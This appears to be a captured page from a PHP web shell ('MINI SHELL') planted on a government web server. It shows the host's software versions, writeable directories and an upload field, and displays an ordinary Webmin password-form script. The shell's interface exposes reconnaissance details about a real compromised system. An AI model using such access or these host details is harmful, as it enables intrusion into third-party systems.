MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/libexec/webmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/libexec/webmin/password_form.cgi
#!/usr/bin/perl
# password_form.cgi
# Display the form that allows users to change their passwords at login time

$ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl";
require './web-lib.pl';
&init_config();
require './ui-lib.pl';
&ReadParse();
&header(undef, undef, undef, undef, 1, 1);

print "<center>\n";
if ($in{'expired'} == 2) {
	print &ui_subheading($text{'password_temp'});
	}
else {
	print &ui_subheading($text{'password_expired'});
	}

# Start of the form
print "$text{'password_prefix'}\n";
print &ui_form_start("$gconfig{'webprefix'}/password_change.cgi", "post");
print &ui_hidden("user", $in{'user'});
print &ui_hidden("pam", $in{'pam'});
print &ui_hidden("expired", $in{'expired'});
print &ui_table_start($text{'password_header'}, "width=50% style='width:50%'", 2);

# Current username
print &ui_table_row($text{'password_user'},
	&html_escape($in{'user'}));

# Old password
print &ui_table_row($text{'password_old'},
	&ui_password("old", undef, 20));

# New password, twice
print &ui_table_row($text{'password_new1'},
	&ui_password("new1", undef, 20));
print &ui_table_row($text{'password_new2'},
	&ui_password("new2", undef, 20));

# End of form
print &ui_table_end();
print &ui_form_end([ [ undef, $text{'password_ok'} ] ]);
print "</center>\n";
print "$text{'password_postfix'}\n";

&footer();


Anon7 - 2021